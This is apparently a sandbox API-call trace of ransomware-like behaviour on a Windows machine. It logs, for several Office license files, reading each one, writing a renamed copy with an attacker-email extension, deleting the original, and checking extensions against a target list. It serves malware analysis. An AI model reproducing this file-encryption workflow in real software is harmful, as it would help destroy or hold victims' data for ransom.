	[0204.190] GetFileSizeEx (in: hFile=0x284, lpFileSize=0x33cff14 | out: lpFileSize=0x33cff14*=11179) returned 1
	[0204.190] CloseHandle (hObject=0x284) returned 1
	[0204.191] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_SubTrial2-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365proplusr_subtrial2-pl.xrm-ms")) returned 0x220
	[0204.191] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_SubTrial2-pl.xrm-ms.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365proplusr_subtrial2-pl.xrm-ms.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0204.191] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_SubTrial2-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365proplusr_subtrial2-pl.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x284
	[0204.191] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec0 | out: lpNewFilePointer=0x0) returned 1
	[0204.191] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec0 | out: lpNewFilePointer=0x0) returned 1
	[0204.191] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_SubTrial2-pl.xrm-ms.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365proplusr_subtrial2-pl.xrm-ms.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2ac
	[0204.192] GetLastError () returned 0x0
	[0204.192] ReadFile (in: hFile=0x284, lpBuffer=0x3fbb020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33cfecc, lpOverlapped=0x0 | out: lpBuffer=0x3fbb020*, lpNumberOfBytesRead=0x33cfecc*=0x2bab, lpOverlapped=0x0) returned 1
	[0204.194] WriteFile (in: hFile=0x2ac, lpBuffer=0x3fbb020*, nNumberOfBytesToWrite=0x2bb0, lpNumberOfBytesWritten=0x33cfc94, lpOverlapped=0x0 | out: lpBuffer=0x3fbb020*, lpNumberOfBytesWritten=0x33cfc94*=0x2bb0, lpOverlapped=0x0) returned 1
	[0204.195] ReadFile (in: hFile=0x284, lpBuffer=0x3fbb020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33cfecc, lpOverlapped=0x0 | out: lpBuffer=0x3fbb020*, lpNumberOfBytesRead=0x33cfecc*=0x0, lpOverlapped=0x0) returned 1
	[0204.195] WriteFile (in: hFile=0x2ac, lpBuffer=0x3fbb020*, nNumberOfBytesToWrite=0x114, lpNumberOfBytesWritten=0x33cfc94, lpOverlapped=0x0 | out: lpBuffer=0x3fbb020*, lpNumberOfBytesWritten=0x33cfc94*=0x114, lpOverlapped=0x0) returned 1
	[0204.195] SetEndOfFile (hFile=0x2ac) returned 1
	[0204.195] CloseHandle (hObject=0x2ac) returned 1
	[0204.195] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec0 | out: lpNewFilePointer=0x0) returned 1
	[0204.195] SetEndOfFile (hFile=0x284) returned 1
	[0204.199] CloseHandle (hObject=0x284) returned 1
	[0204.199] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_SubTrial2-pl.xrm-ms.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x220) returned 1
	[0204.200] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_SubTrial2-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365proplusr_subtrial2-pl.xrm-ms")) returned 1
	[0204.201] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_SubTrial2-pl.xrm-ms") returned 82
	[0204.201] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_SubTrial2-pl.xrm-ms") returned 82
	[0204.201] lstrlenW (lpString=".doc") returned 4
	[0204.201] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0204.201] lstrlenW (lpString=".docx") returned 5
	[0204.201] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0204.201] lstrlenW (lpString=".pdf") returned 4
	[0204.201] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0204.201] lstrlenW (lpString=".xls") returned 4
	[0204.201] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0204.201] lstrlenW (lpString=".xlsx") returned 5
	[0204.201] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0204.201] lstrlenW (lpString=".ppt") returned 4
	[0204.201] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0204.201] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_SubTrial2-pl.xrm-ms") returned 82
	[0204.201] lstrlenW (lpString=".zip") returned 4
	[0204.201] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0204.201] lstrlenW (lpString=".rar") returned 4
	[0204.202] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0204.202] lstrlenW (lpString=".bz2") returned 4
	[0204.202] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0204.202] lstrlenW (lpString=".7z") returned 3
	[0204.202] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0204.202] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_SubTrial2-pl.xrm-ms") returned 82
	[0204.202] lstrlenW (lpString=".dbf") returned 4
	[0204.202] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0204.202] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_SubTrial2-pl.xrm-ms") returned 82
	[0204.202] lstrlenW (lpString=".1cd") returned 4
	[0204.202] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0204.202] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_SubTrial2-pl.xrm-ms") returned 82
	[0204.202] lstrlenW (lpString=".jpg") returned 4
	[0204.202] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0204.202] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_SubTrial2-pl.xrm-ms") returned 82
	[0204.202] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_SubTrial2-pl.xrm-ms") returned 82
	[0204.202] lstrlenW (lpString=".doc") returned 4
	[0204.202] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0204.202] lstrlenW (lpString=".docx") returned 5
	[0204.202] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0204.202] lstrlenW (lpString=".pdf") returned 4
	[0204.202] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0204.202] lstrlenW (lpString=".xls") returned 4
	[0204.202] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0204.202] lstrlenW (lpString=".xlsx") returned 5
	[0204.202] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0204.202] lstrlenW (lpString=".ppt") returned 4
	[0204.202] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0204.202] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_SubTrial2-pl.xrm-ms") returned 82
	[0204.202] lstrlenW (lpString=".zip") returned 4
	[0204.203] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0204.203] lstrlenW (lpString=".rar") returned 4
	[0204.203] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0204.203] lstrlenW (lpString=".bz2") returned 4
	[0204.203] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0204.203] lstrlenW (lpString=".7z") returned 3
	[0204.203] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0204.203] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_SubTrial2-pl.xrm-ms") returned 82
	[0204.203] lstrlenW (lpString=".dbf") returned 4
	[0204.203] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0204.203] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_SubTrial2-pl.xrm-ms") returned 82
	[0204.203] lstrlenW (lpString=".1cd") returned 4
	[0204.203] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0204.203] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_SubTrial2-pl.xrm-ms") returned 82
	[0204.203] lstrlenW (lpString=".jpg") returned 4
	[0204.203] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0204.203] lstrcmpiW (lpString1=".xrm-ms", lpString2=".html") returned 1
	[0204.203] lstrlenW (lpString="O365ProPlusR_SubTrial2-ppd.xrm-ms") returned 33
	[0204.203] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_SubTrial2-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365proplusr_subtrial2-ppd.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x284
	[0204.204] GetFileSizeEx (in: hFile=0x284, lpFileSize=0x33cff14 | out: lpFileSize=0x33cff14*=24369) returned 1
	[0204.204] CloseHandle (hObject=0x284) returned 1
	[0204.204] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_SubTrial2-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365proplusr_subtrial2-ppd.xrm-ms")) returned 0x220
	[0204.204] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_SubTrial2-ppd.xrm-ms.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365proplusr_subtrial2-ppd.xrm-ms.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0204.204] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_SubTrial2-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365proplusr_subtrial2-ppd.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x284
	[0204.205] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec0 | out: lpNewFilePointer=0x0) returned 1
	[0204.205] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec0 | out: lpNewFilePointer=0x0) returned 1
	[0204.205] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_SubTrial2-ppd.xrm-ms.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365proplusr_subtrial2-ppd.xrm-ms.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2ac
	[0204.206] GetLastError () returned 0x0
	[0204.206] ReadFile (in: hFile=0x284, lpBuffer=0x3fbb020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33cfecc, lpOverlapped=0x0 | out: lpBuffer=0x3fbb020*, lpNumberOfBytesRead=0x33cfecc*=0x5f31, lpOverlapped=0x0) returned 1
	[0204.208] WriteFile (in: hFile=0x2ac, lpBuffer=0x3fbb020*, nNumberOfBytesToWrite=0x5f40, lpNumberOfBytesWritten=0x33cfc94, lpOverlapped=0x0 | out: lpBuffer=0x3fbb020*, lpNumberOfBytesWritten=0x33cfc94*=0x5f40, lpOverlapped=0x0) returned 1
	[0204.209] ReadFile (in: hFile=0x284, lpBuffer=0x3fbb020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33cfecc, lpOverlapped=0x0 | out: lpBuffer=0x3fbb020*, lpNumberOfBytesRead=0x33cfecc*=0x0, lpOverlapped=0x0) returned 1
	[0204.209] WriteFile (in: hFile=0x2ac, lpBuffer=0x3fbb020*, nNumberOfBytesToWrite=0x116, lpNumberOfBytesWritten=0x33cfc94, lpOverlapped=0x0 | out: lpBuffer=0x3fbb020*, lpNumberOfBytesWritten=0x33cfc94*=0x116, lpOverlapped=0x0) returned 1
	[0204.210] SetEndOfFile (hFile=0x2ac) returned 1
	[0204.210] CloseHandle (hObject=0x2ac) returned 1
	[0204.210] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec0 | out: lpNewFilePointer=0x0) returned 1
	[0204.210] SetEndOfFile (hFile=0x284) returned 1
	[0204.213] CloseHandle (hObject=0x284) returned 1
	[0204.213] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_SubTrial2-ppd.xrm-ms.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x220) returned 1
	[0204.213] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_SubTrial2-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365proplusr_subtrial2-ppd.xrm-ms")) returned 1
	[0204.214] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_SubTrial2-ppd.xrm-ms") returned 83
	[0204.214] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_SubTrial2-ppd.xrm-ms") returned 83
	[0204.214] lstrlenW (lpString=".doc") returned 4
	[0204.214] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0204.214] lstrlenW (lpString=".docx") returned 5
	[0204.214] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0204.214] lstrlenW (lpString=".pdf") returned 4
	[0204.214] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0204.214] lstrlenW (lpString=".xls") returned 4
	[0204.214] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0204.214] lstrlenW (lpString=".xlsx") returned 5
	[0204.214] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0204.214] lstrlenW (lpString=".ppt") returned 4
	[0204.214] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0204.214] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_SubTrial2-ppd.xrm-ms") returned 83
	[0204.214] lstrlenW (lpString=".zip") returned 4
	[0204.214] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0204.215] lstrlenW (lpString=".rar") returned 4
	[0204.215] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0204.215] lstrlenW (lpString=".bz2") returned 4
	[0204.215] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0204.215] lstrlenW (lpString=".7z") returned 3
	[0204.215] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0204.215] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_SubTrial2-ppd.xrm-ms") returned 83
	[0204.215] lstrlenW (lpString=".dbf") returned 4
	[0204.215] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0204.215] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_SubTrial2-ppd.xrm-ms") returned 83
	[0204.215] lstrlenW (lpString=".1cd") returned 4
	[0204.215] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0204.215] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_SubTrial2-ppd.xrm-ms") returned 83
	[0204.215] lstrlenW (lpString=".jpg") returned 4
	[0204.215] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0204.215] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_SubTrial2-ppd.xrm-ms") returned 83
	[0204.215] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_SubTrial2-ppd.xrm-ms") returned 83
	[0204.215] lstrlenW (lpString=".doc") returned 4
	[0204.215] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0204.215] lstrlenW (lpString=".docx") returned 5
	[0204.215] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0204.215] lstrlenW (lpString=".pdf") returned 4
	[0204.215] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0204.215] lstrlenW (lpString=".xls") returned 4
	[0204.215] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0204.215] lstrlenW (lpString=".xlsx") returned 5
	[0204.215] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0204.215] lstrlenW (lpString=".ppt") returned 4
	[0204.215] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0204.215] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_SubTrial2-ppd.xrm-ms") returned 83
	[0204.215] lstrlenW (lpString=".zip") returned 4
	[0204.216] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0204.216] lstrlenW (lpString=".rar") returned 4
	[0204.216] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0204.216] lstrlenW (lpString=".bz2") returned 4
	[0204.216] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0204.216] lstrlenW (lpString=".7z") returned 3
	[0204.216] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0204.216] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_SubTrial2-ppd.xrm-ms") returned 83
	[0204.216] lstrlenW (lpString=".dbf") returned 4
	[0204.216] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0204.216] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_SubTrial2-ppd.xrm-ms") returned 83
	[0204.216] lstrlenW (lpString=".1cd") returned 4
	[0204.216] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0204.216] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_SubTrial2-ppd.xrm-ms") returned 83
	[0204.216] lstrlenW (lpString=".jpg") returned 4
	[0204.216] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0204.216] lstrcmpiW (lpString1=".xrm-ms", lpString2=".html") returned 1
	[0204.216] lstrlenW (lpString="O365ProPlusR_SubTrial2-ul-oob.xrm-ms") returned 36
	[0204.216] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_SubTrial2-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365proplusr_subtrial2-ul-oob.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5d0
	[0204.528] GetFileSizeEx (in: hFile=0x5d0, lpFileSize=0x33cff14 | out: lpFileSize=0x33cff14*=11630) returned 1
	[0204.528] CloseHandle (hObject=0x5d0) returned 1
	[0204.528] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_SubTrial2-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365proplusr_subtrial2-ul-oob.xrm-ms")) returned 0x220
	[0204.528] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_SubTrial2-ul-oob.xrm-ms.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365proplusr_subtrial2-ul-oob.xrm-ms.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0204.528] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_SubTrial2-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365proplusr_subtrial2-ul-oob.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5d0
	[0204.529] SetFilePointerEx (in: hFile=0x5d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec0 | out: lpNewFilePointer=0x0) returned 1
	[0204.529] SetFilePointerEx (in: hFile=0x5d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec0 | out: lpNewFilePointer=0x0) returned 1
	[0204.529] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_SubTrial2-ul-oob.xrm-ms.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365proplusr_subtrial2-ul-oob.xrm-ms.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x484
	[0204.530] GetLastError () returned 0x0
	[0204.530] ReadFile (in: hFile=0x5d0, lpBuffer=0x3fbb020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33cfecc, lpOverlapped=0x0 | out: lpBuffer=0x3fbb020*, lpNumberOfBytesRead=0x33cfecc*=0x2d6e, lpOverlapped=0x0) returned 1
	[0204.534] WriteFile (in: hFile=0x484, lpBuffer=0x3fbb020*, nNumberOfBytesToWrite=0x2d70, lpNumberOfBytesWritten=0x33cfc94, lpOverlapped=0x0 | out: lpBuffer=0x3fbb020*, lpNumberOfBytesWritten=0x33cfc94*=0x2d70, lpOverlapped=0x0) returned 1
	[0204.535] ReadFile (in: hFile=0x5d0, lpBuffer=0x3fbb020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33cfecc, lpOverlapped=0x0 | out: lpBuffer=0x3fbb020*, lpNumberOfBytesRead=0x33cfecc*=0x0, lpOverlapped=0x0) returned 1
	[0204.535] WriteFile (in: hFile=0x484, lpBuffer=0x3fbb020*, nNumberOfBytesToWrite=0x11c, lpNumberOfBytesWritten=0x33cfc94, lpOverlapped=0x0 | out: lpBuffer=0x3fbb020*, lpNumberOfBytesWritten=0x33cfc94*=0x11c, lpOverlapped=0x0) returned 1
	[0204.535] SetEndOfFile (hFile=0x484) returned 1
	[0204.535] CloseHandle (hObject=0x484) returned 1
	[0204.535] SetFilePointerEx (in: hFile=0x5d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec0 | out: lpNewFilePointer=0x0) returned 1
	[0204.535] SetEndOfFile (hFile=0x5d0) returned 1
	[0204.538] CloseHandle (hObject=0x5d0) returned 1
	[0204.538] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_SubTrial2-ul-oob.xrm-ms.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x220) returned 1
	[0204.539] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_SubTrial2-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365proplusr_subtrial2-ul-oob.xrm-ms")) returned 1
	[0204.540] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_SubTrial2-ul-oob.xrm-ms") returned 86
	[0204.540] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_SubTrial2-ul-oob.xrm-ms") returned 86
	[0204.540] lstrlenW (lpString=".doc") returned 4
	[0204.540] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0204.540] lstrlenW (lpString=".docx") returned 5
	[0204.540] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0204.540] lstrlenW (lpString=".pdf") returned 4
	[0204.540] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0204.540] lstrlenW (lpString=".xls") returned 4
	[0204.540] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0204.540] lstrlenW (lpString=".xlsx") returned 5
	[0204.540] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0204.540] lstrlenW (lpString=".ppt") returned 4
	[0204.540] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0204.540] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_SubTrial2-ul-oob.xrm-ms") returned 86
	[0204.540] lstrlenW (lpString=".zip") returned 4
	[0204.540] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0204.540] lstrlenW (lpString=".rar") returned 4
	[0204.540] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0204.540] lstrlenW (lpString=".bz2") returned 4
	[0204.540] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0204.540] lstrlenW (lpString=".7z") returned 3
	[0204.540] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0204.540] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_SubTrial2-ul-oob.xrm-ms") returned 86
	[0204.540] lstrlenW (lpString=".dbf") returned 4
	[0204.540] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0204.540] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_SubTrial2-ul-oob.xrm-ms") returned 86
	[0204.540] lstrlenW (lpString=".1cd") returned 4
	[0204.540] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0204.540] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_SubTrial2-ul-oob.xrm-ms") returned 86
	[0204.540] lstrlenW (lpString=".jpg") returned 4
	[0204.541] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0204.541] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_SubTrial2-ul-oob.xrm-ms") returned 86
	[0204.541] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_SubTrial2-ul-oob.xrm-ms") returned 86
	[0204.541] lstrlenW (lpString=".doc") returned 4
	[0204.541] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0204.541] lstrlenW (lpString=".docx") returned 5
	[0204.541] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0204.541] lstrlenW (lpString=".pdf") returned 4
	[0204.541] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0204.541] lstrlenW (lpString=".xls") returned 4
	[0204.541] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0204.541] lstrlenW (lpString=".xlsx") returned 5
	[0204.541] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0204.541] lstrlenW (lpString=".ppt") returned 4
	[0204.541] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0204.541] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_SubTrial2-ul-oob.xrm-ms") returned 86
	[0204.541] lstrlenW (lpString=".zip") returned 4
	[0204.541] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0204.541] lstrlenW (lpString=".rar") returned 4
	[0204.541] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0204.541] lstrlenW (lpString=".bz2") returned 4
	[0204.541] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0204.541] lstrlenW (lpString=".7z") returned 3
